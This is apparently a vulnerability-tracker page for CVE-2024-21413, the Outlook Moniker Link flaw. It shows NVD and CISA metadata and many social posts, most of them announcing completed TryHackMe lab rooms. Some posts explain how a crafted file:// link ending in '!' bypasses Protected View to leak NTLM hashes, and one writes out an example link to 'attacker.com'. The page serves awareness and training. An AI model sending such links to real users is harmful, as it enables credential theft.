CVE-2024-21413

Published Feb 13, 2024

Last updated 5 months ago

Overview

Description
Microsoft Outlook Remote Code Execution Vulnerability
Source
secure@microsoft.com
NVD status
Analyzed
Products
365_apps, office_2016, office_2019, office_long_term_servicing_channel

Risk scores

CVSS 3.1

Type
Secondary
Base score
9.8
Impact score
5.9
Exploitability score
3.9
Vector string
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Severity
CRITICAL

Known exploits

Data from CISA

Vulnerability name
Microsoft Outlook Improper Input Validation Vulnerability
Exploit added on
Feb 6, 2025
Exploit action due
Feb 27, 2025
Required action
Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.

Weaknesses

secure@microsoft.com
CWE-20
nvd@nist.gov
NVD-CWE-noinfo

Social media

Hype score
Not currently trending
  1. Day 45: 🔗CVE-2024-21413 (Moniker Link): Diving deep into how a simple Outlook hyperlink can bypass Protected View to leak NTLM hashes or trigger RCE. 🛠️

    @dheeraditya1

    18 Mar 2026

    30 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    1 Reply

    0 Quotes

  2. Outlook RCE CVE-2024-21413 (CVSS 9.8) is HOT! Malicious links exploit NTLM relay via preview pane for RCE. Think targeted phishing, but without a click. Exploit using Responder/Impacket. #Outlook #RCE #Cybersecurity https://t.co/BjeGzZHgIR

    @computerauditor

    17 Mar 2026

    43 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  3. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/k0pdHWw7WT #tryhackme via @tryhackme

    @Jasmin03897025

    17 Mar 2026

    54 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  4. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/87RysCQWhk #tryhackme via @tryhackme

    @dronjx

    16 Mar 2026

    60 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  5. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/6mcGNF0J6B #tryhackme via @tryhackme

    @lerchmirko

    14 Mar 2026

    71 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  6. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/bT1Aoqvy7R

    @Ryad3135

    11 Mar 2026

    37 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  7. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/96Zk5MF9yT #tryhackme via @tryhackme

    @XaliqRagimli27

    10 Mar 2026

    65 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  8. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/7rjTiv9kYO #tryhackme via @tryhackme

    @chuol_hoth

    28 Feb 2026

    59 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  9. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/UUeK4V6W0z #tryhackme via @tryhackme

    @mgillanders

    28 Feb 2026

    48 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  10. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/Eu6ilZW3mh #tryhackme via @tryhackme

    @KuriJMandara

    26 Feb 2026

    41 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  11. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/Eu6ilZVvwJ #tryhackme via @tryhackme

    @KuriJMandara

    26 Feb 2026

    39 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  12. 🚨 [CRITICAL] APT29 OAuth Token Theft Campaign APT29 actively exploiting OAuth token theft t… 🔴 CVE: CVE-2024-21413 🕵️ APT: APT29 🏭 Sectors: finance, government #mysocAi #CyberSecurityusingAi #ThreatIntel #CVE202421413 🔗 https://t.co/1VmtnQVX6T

    @MysocAi

    23 Feb 2026

    1 Impression

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  13. 🚨 [CRITICAL] APT29 OAuth Token Theft Campaign APT29 actively… 🔴 CVE: CVE-2024-21413 🕵️ APT: APT29 🏭 Sectors: finance, government #mysocAi #CyberSecurityusingAi #Vulnerability #Criticality #ThreatIntel #CVE202421413 🔗 https://t.co/1VmtnQVX6T

    @MysocAi

    23 Feb 2026

    2 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  14. 🚨 [CRITICAL] APT29 Midnight Blizzard Active Campaign via OAuth Token Theft … 🔴 CVE: CVE-2024-21413, CVE-2024-20671 🕵️ APT: APT29 🏭 Sectors: finance, government #mysocAi #CyberSecurityusingAi #Vulnerability #Criticality #ThreatIntel #CyberSecurity #CVE202421413

    @MysocAi

    23 Feb 2026

    1 Impression

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  15. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/k8il1CJ4og #tryhackme via @tryhackme

    @Mr_ajitsharma74

    22 Feb 2026

    3 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  16. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/M3D111EzAJ #tryhackme @tryhackmeより

    @Sirai_Tukuyomi

    21 Feb 2026

    44 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  17. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/ahRjmwCiSp #tryhackme via @tryhackme

    @White_Crow017

    20 Feb 2026

    54 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  18. Just learned how CVE-2024-21413 (Moniker Link vuln) works and it’s wild 🤯 Outlook renders HTML emails → attacker embeds a file:// link → adds a special ! trick → bypasses Protected View → Windows auto-authenticates via SMB → leaks NTLM hash 😬 No malware. Just a

    @White_Crow017

    20 Feb 2026

    106 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  19. Day 108 of learning Cybersecurity on TryHackMe, I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/J1ozAD0YTS #tryhackme via @tryhackme

    @DGilcore

    19 Feb 2026

    58 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  20. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! An Outlook's vulnerability in 2024 that leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/J1ozAD0YTS #tryhackme via @tryhackme @ireteeh @Adanna_techie @AdePelumi15 https

    @DGilcore

    19 Feb 2026

    85 Impressions

    1 Retweet

    2 Likes

    1 Bookmark

    1 Reply

    0 Quotes

  21. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/jIq09hIs1e #tryhackme via @tryhackme

    @lumentraaa

    15 Feb 2026

    40 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  22. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/5Sy9eiWyvk #tryhackme via @tryhackme

    @YMoriati42377

    13 Feb 2026

    37 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  23. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/t6qJmMgLNS #tryhackme via @tryhackme

    @quek_guan

    8 Feb 2026

    48 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  24. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/6xUmCMcDdm #tryhackme via @tryhackme

    @Althaf1145

    6 Feb 2026

    45 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  25. The NTLM leak vulnerability (CVE-2024-21413): User receives email with link: file://attacker.com/share!\ User clicks. Windows: "Oh, a file share. Let me authenticate." Windows sends: Username + NTLM hash to attacker's server Attacker cracks hash offline One click. Full compromise

    @SALIMASSILI2006

    5 Feb 2026

    47 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  26. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! https://t.co/igg97EGdwm

    @saaramhussnain

    5 Feb 2026

    58 Impressions

    0 Retweets

    3 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  27. 1️⃣ One character bypasses Microsoft security CVE-2024-21413: Add ! to a file:// link in Outlook. User clicks. Windows automatically leaks NTLM credentials. No download. No warning. CVSS 9.8 = critical. One character = Entire network compromised. https://t.co/p3ljypv97E

    @SALIMASSILI2006

    3 Feb 2026

    57 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  28. One character can steal your password. Just ! in a file:// link = Windows leaks NTLM credentials. CVE-2024-21413 | CVSS 9.8 Small detail = Massive impact. This is why SOC analysts obsess over "minor" things. #CyberSecurity #SOCAnalyst #ThreatIntel https://t.co/YI8IKuDhuR

    @SALIMASSILI2006

    3 Feb 2026

    66 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  29. Happy new month 🎉 February is here and the grind continues. Wrapped up the Moniker Link module (CVE-2024-21413). Learned how Outlook can leak NTLM hashes via Moniker Links and how to defend against it. #Cybersecurity #LearningInPublic #TechJourney https://t.co/aYMQMi4qlx

    @jeo_crypts

    2 Feb 2026

    55 Impressions

    1 Retweet

    2 Likes

    0 Bookmarks

    1 Reply

    0 Quotes

  30. 📢 𝐇𝐨𝐭 𝐨𝐟𝐟 𝐭𝐡𝐞 𝐩𝐫𝐞𝐬𝐬: 𝐂𝐕𝐄 𝐢𝐧𝐬𝐢𝐠𝐡𝐭𝐬! Discover how UAC-0028 exploits CVE-2024-21413 in Outlook to steal credentials and bypass defenses, with CERT-UA insights and actionable mitigations. 🌐 Explore the

    @PurpleOps_io

    2 Feb 2026

    41 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  31. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/xXyriTmL53 #tryhackme via @tryhackme

    @SultryIce

    31 Jan 2026

    71 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  32. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/yHnA3kLK5h #tryhackme via @tryhackme

    @pooping4poops

    30 Jan 2026

    50 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  33. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/0P3MEzDC6V #tryhackme via @tryhackme

    @J3CHxP

    27 Jan 2026

    43 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  34. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe. Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/h0icCCtgXX #tryhackme via @tryhackme

    @mallox_318

    25 Jan 2026

    0 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  35. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe. Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/l5wmJlWHhw #tryhackme via @tryhackme

    @MrKiyan404

    22 Jan 2026

    104 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  36. Day 16: my journey on @tryhackme alongside @d4rk_intel > Moniker link Deep dive into CVE-2024-21413, Explored how crafted Outlook links bypass Protected View, enabling credential leaks and potential RCE, alongside detection and mitigation in a lab environment. #cybersecurit

    @Azutech_

    22 Jan 2026

    349 Impressions

    0 Retweets

    7 Likes

    0 Bookmarks

    1 Reply

    0 Quotes

  37. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/40iFhXR2Lq #tryhackme via @tryhackme

    @RedionMeta

    20 Jan 2026

    40 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  38. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe. Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/n70Qrl6uev #tryhackme via @tryhackme

    @JayeshV88153533

    19 Jan 2026

    58 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  39. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/9dCBQQsCyk #tryhackme via @tryhackme

    @genius_157

    19 Jan 2026

    53 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  40. Day 14: Moniker Link (CVE-2024-21413) > @tryhackme Today, I took out time to learn about the Moniker Link vulnerability > explored how it's exploited, detected, and fixed. Great to be back in the groove! #OSINT #Cybersecurity https://t.co/LIJx09QEhU

    @d4rk_intel

    17 Jan 2026

    738 Impressions

    1 Retweet

    13 Likes

    3 Bookmarks

    0 Replies

    0 Quotes

  41. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe. Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/US7q3Y4PPk #tryhackme via @tryhackme

    @L30_N30_THM

    17 Jan 2026

    50 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  42. MONIKER LINK _CVE-2024-21413(DEMO) CAPTURING NTLM HASH VIA HYPERLINK INJECTION TOOL:RESPONDER https://t.co/v1I1mtoLPK

    @h4ruk7

    14 Jan 2026

    638 Impressions

    0 Retweets

    10 Likes

    5 Bookmarks

    0 Replies

    0 Quotes

  43. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/kdGmfz1cBy #tryhackme via @tryhackme

    @thisguycanhack

    11 Jan 2026

    1 Impression

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  44. Day 10: Completed Moniker Link (CVE-2024-21413) on TryHackMe. Explored how this Windows shortcut vulnerability can be abused to bypass security protections and enable malicious code execution. @purpullgirl #TryHackMe #HandsOn #CyberSecurity https://t.co/3Qvqe04rSd

    @Aboda_lateria

    11 Jan 2026

    130 Impressions

    1 Retweet

    7 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  45. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/6OoOdgvUKm #tryhackme via @tryhackme

    @fwdFLASH

    11 Jan 2026

    48 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  46. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe. Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/LFKT7KHxDz #tryhackme via @tryhackme #tryhackme #CVE #leakcredentials #learning

    @LittleSun4lower

    10 Jan 2026

    69 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  47. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe! Leak user's credentials using CVE-2024-21413 to bypass Outlook's Protected View. https://t.co/QY0l0OLzhN #tryhackme via @tryhackme

    @CyberKoroc

    10 Jan 2026

    75 Impressions

    0 Retweets

    1 Like

    0 Bookmarks

    0 Replies

    0 Quotes

  48. #Day 2 of my #ZeroToProHacker journey.​ Today I learned what Moniker Link (CVE-2024-21413) is and how it can be used to capture NetNTLMv2 hashes by sending a crafted link that forces the victim to authenticate to an attacker-controlled SMB share https://t.co/l2ppfCJb9b

    @JaatYogesh57183

    5 Jan 2026

    13 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  49. CVE-2024-21413 breakdown: Outlook + file:// link + ! character = NTLM credential leak. No download. No malware. Just one click. Windows automatically tries to authenticate to the attacker's server. Credentials sent. This is why security isn't about "big vulnerabilities." https://

    @SALIMASSILI2006

    4 Jan 2026

    85 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

  50. I just completed Moniker Link (CVE-2024-21413) room on TryHackMe. https://t.co/eBUehYQIq0 #tryhackme via @tryhackme

    @AhmedZerocool

    2 Jan 2026

    34 Impressions

    0 Retweets

    0 Likes

    0 Bookmarks

    0 Replies

    0 Quotes

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